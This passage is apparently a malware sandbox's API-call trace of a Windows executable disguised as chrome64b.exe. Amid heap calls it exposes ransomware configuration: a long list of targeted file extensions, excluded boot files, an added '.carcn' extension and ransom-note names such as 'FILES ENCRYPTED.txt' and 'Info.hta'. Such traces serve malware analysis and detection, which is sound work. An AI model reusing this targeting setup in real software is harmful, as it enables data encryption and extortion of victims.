Flags=0x0, Size=0xc) returned 0x81bdf8 [0153.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x81bc78 [0153.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81bd80 [0153.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81bc30 [0153.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81bcd8 [0153.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x81bee8 [0153.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81bcf0 [0153.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81beb8 [0153.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81bd08 [0153.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81bd98 [0153.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81bed0 [0153.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81bc48 [0153.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81be70 [0153.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7d3578 [0153.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x6) returned 0x7d3508 [0153.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81bc90 [0153.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81bdb0 [0153.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81be58 [0153.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81bca8 [0153.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81be10 [0153.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x81be28 [0153.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81be40 [0153.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81bcc0 [0153.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81be88 [0153.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81bfc0 [0153.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x81bf48 [0153.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81bf18 [0153.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81bfa8 [0153.415] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d6028, Size=0x400) returned 0x7d6028 [0153.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81bf30 [0153.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81bf60 [0153.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x81bf78 [0153.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81bf90 [0153.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b0a8 [0153.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b2d0 [0153.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x81b150 [0153.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b168 [0153.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b018 [0153.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b120 [0153.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7d33e8 [0153.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b138 [0153.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x81b2e8 [0153.415] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b1c8 [0153.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b180 [0153.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b300 [0153.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b2b8 [0153.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xe) returned 0x81b0c0 [0153.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b0f0 [0153.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b1e0 [0153.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b090 [0153.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b1f8 [0153.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b198 [0153.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b030 [0153.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b270 [0153.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b210 [0153.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7d3408 [0153.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b048 [0153.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b1b0 [0153.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b228 [0153.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b060 [0153.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b288 [0153.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b0d8 [0153.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b2a0 [0153.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b240 [0153.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b108 [0153.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xe) returned 0x81b258 [0153.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b078 [0153.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xe) returned 0x81b360 [0153.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b5b8 [0153.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b558 [0153.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b348 [0153.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b528 [0153.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b390 [0153.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x81b378 [0153.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b420 [0153.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b438 [0153.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b468 [0153.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b318 [0153.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b498 [0153.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b3a8 [0153.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b3c0 [0153.416] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b5e8 [0153.417] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b480 [0153.417] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b510 [0153.417] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b540 [0153.417] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b408 [0153.417] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b4b0 [0153.417] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b570 [0153.417] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b5d0 [0153.417] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b588 [0153.417] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b3d8 [0153.417] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x81b4c8 [0153.417] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x12) returned 0x7a55d0 [0153.417] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b5a0 [0153.417] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b3f0 [0153.417] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b450 [0153.417] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b4f8 [0153.417] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b4e0 [0153.417] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b600 [0153.417] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b330 [0153.417] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81c6c8 [0153.418] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81c7a0 [0153.418] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81c710 [0153.418] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81c6f8 [0153.418] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81c860 [0153.418] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81c638 [0153.418] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81c7b8 [0153.418] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81c650 [0153.418] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81c7d0 [0153.418] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81c728 [0153.418] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81c890 [0153.418] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81c740 [0153.418] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81c878 [0153.418] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x81c8a8 [0153.418] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x81c8c0 [0153.418] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x81c758 [0153.418] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xe) returned 0x81c698 [0153.418] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x81c6e0 [0153.418] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7d3428 [0153.418] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81c908 [0153.418] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7d3258 [0153.418] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81c848 [0153.418] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81c7e8 [0153.418] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81c770 [0153.418] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x81c8d8 [0153.418] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x81c8f0 [0153.418] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81c800 [0153.418] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x81c620 [0153.418] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81c668 [0153.418] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81c818 [0153.418] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x81c680 [0153.418] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81c830 [0153.418] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x81c6b0 [0153.418] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x81c788 [0153.418] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81ca88 [0153.418] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x81d348 [0153.418] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81cad0 [0153.419] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81ca28 [0153.419] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81c938 [0153.419] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81ca70 [0153.419] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81cb48 [0153.419] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81cc08 [0153.419] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d6028, Size=0x800) returned 0x81d3f0 [0153.419] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0153.419] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e9780 | out: hHeap=0x790000) returned 1 [0153.419] lstrlenW (lpString="") returned 0 [0153.419] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x81c1b8 | out: hHeap=0x790000) returned 1 [0153.419] lstrlenW (lpString=".carcn") returned 6 [0153.419] lstrlenW (lpString=".carcn") returned 6 [0153.419] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x81c1b8 | out: hHeap=0x790000) returned 1 [0153.419] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x81c1b8, Size=0x20) returned 0x7cede8 [0153.419] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7cede8, Size=0x40) returned 0x7aca08 [0153.419] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7aca08, Size=0x80) returned 0x7d4f88 [0153.419] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x81d2b8, Size=0x8) returned 0x81d338 [0153.419] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x81d338, Size=0x10) returned 0x81c1b8 [0153.419] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x81c1b8, Size=0x20) returned 0x7cecf8 [0153.419] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0153.419] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d4f88 | out: hHeap=0x790000) returned 1 [0153.419] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x81c5a8, Size=0x20) returned 0x7cede8 [0153.419] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7cede8, Size=0x40) returned 0x7ac588 [0153.419] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0153.419] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0153.420] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ac588 | out: hHeap=0x790000) returned 1 [0153.420] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x81c5d8, Size=0x20) returned 0x7cede8 [0153.420] lstrlenW (lpString="Info.hta") returned 8 [0153.420] lstrlenW (lpString="Info.hta") returned 8 [0153.420] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7cede8 | out: hHeap=0x790000) returned 1 [0153.420] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x81dbf8, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\chrome64b.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\chrome64b.exe")) returned 0x25 [0153.421] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x81dbf8 | out: hHeap=0x790000) returned 1 [0153.421] lstrlenW (lpString="chrome64b.exe") returned 13 [0153.421] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7cecf8, Size=0x40) returned 0x7ac3d8 [0153.421] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x81c488, Size=0x20) returned 0x7cecf8 [0153.422] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x81c338, Size=0x20) returned 0x7ceaf0 [0153.422] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ceaf0, Size=0x40) returned 0x7ac738 [0153.422] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ac738, Size=0x80) returned 0x7d4680 [0153.422] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d4680, Size=0x100) returned 0x7d6028 [0153.422] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0153.422] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d6028 | out: hHeap=0x790000) returned 1 [0153.422] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x81dbf8, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0153.422] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x82dc00 | out: hHeap=0x790000) returned 1 [0153.422] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x81dbf8 | out: hHeap=0x790000) returned 1 [0153.423] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x81d298, Size=0x8) returned 0x81d2a8 [0153.423] lstrlenW (lpString="%windir%;") returned 9 [0153.423] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7cecf8 | out: hHeap=0x790000) returned 1 [0153.423] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0153.423] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x80afd0 | out: hHeap=0x790000) returned 1 [0153.423] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x81c338, Size=0x20) returned 0x7cecf8 [0153.423] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7cecf8, Size=0x40) returned 0x7ac810 [0153.423] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ac810, Size=0x80) returned 0x7d4818 [0153.423] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d4818, Size=0x100) returned 0x7d6028 [0153.423] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x81d2f8, Size=0x8) returned 0x81d2b8 [0153.423] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x81d2b8, Size=0x10) returned 0x81c440 [0153.423] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x81c440, Size=0x20) returned 0x7cecf8 [0153.423] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x81d278, Size=0x8) returned 0x81d298 [0153.423] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x81d268, Size=0x8) returned 0x81d2b8 [0153.423] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x81d318, Size=0x8) returned 0x81d3a8 [0153.423] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x81d3a8, Size=0x10) returned 0x81c4e8 [0153.424] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x81c4e8, Size=0x20) returned 0x7cea28 [0153.424] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x81d298, Size=0x10) returned 0x81c488 [0153.424] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x81d2b8, Size=0x10) returned 0x81c380 [0153.424] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x81d378, Size=0x8) returned 0x81d298 [0153.424] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x81d248, Size=0x8) returned 0x81d388 [0153.424] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x81c488, Size=0x20) returned 0x7ce848 [0153.424] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x81c380, Size=0x20) returned 0x7ceb68 [0153.424] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x81d2b8, Size=0x8) returned 0x81d2f8 [0153.424] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0153.424] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d6028 | out: hHeap=0x790000) returned 1 [0153.424] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x81c3e0, Size=0x20) returned 0x7cea50 [0153.424] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x80afd0, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0153.424] lstrlenW (lpString="C:\\") returned 3 [0153.424] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0153.424] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x80afd0 | out: hHeap=0x790000) returned 1 [0153.425] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x81d228, Size=0x82) returned 0x7d60b8 [0153.425] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x81d2c8, Size=0x100) returned 0x7d6148 [0153.425] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d60b8, Size=0x104) returned 0x7d6370 [0153.425] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d6148, Size=0x200) returned 0x7e9780 [0153.426] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x81d2b8 | out: hHeap=0x790000) returned 1 [0153.426] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e9780 | out: hHeap=0x790000) returned 1 [0153.426] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x81c590 | out: hHeap=0x790000) returned 1 [0153.426] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d4570 | out: hHeap=0x790000) returned 1 [0153.426] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x81c3f8 | out: hHeap=0x790000) returned 1 [0153.426] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d40a8 | out: hHeap=0x790000) returned 1 [0153.426] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x81c560 | out: hHeap=0x790000) returned 1 [0153.426] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d6370 | out: hHeap=0x790000) returned 1 [0153.426] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x81c500 | out: hHeap=0x790000) returned 1 [0153.426] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d6250 | out: hHeap=0x790000) returned 1 [0153.426] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x81c4e8 | out: hHeap=0x790000) returned 1 [0153.426] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d62e0 | out: hHeap=0x790000) returned 1 [0153.426] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x81c410 | out: hHeap=0x790000) returned 1 [0153.426] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x81c560, Size=0x20) returned 0x7ce820 [0153.426] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ce820, Size=0x40) returned 0x7ac6f0 [0153.426] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x81d3a8 | out: hHeap=0x790000) returned 1 [0153.426] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x81c4b8 | out: hHeap=0x790000) returned 1 [0153.426] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d6028 | out: hHeap=0x790000) returned 1 [0153.426] HeapFree (in: hHeap=0x790000, 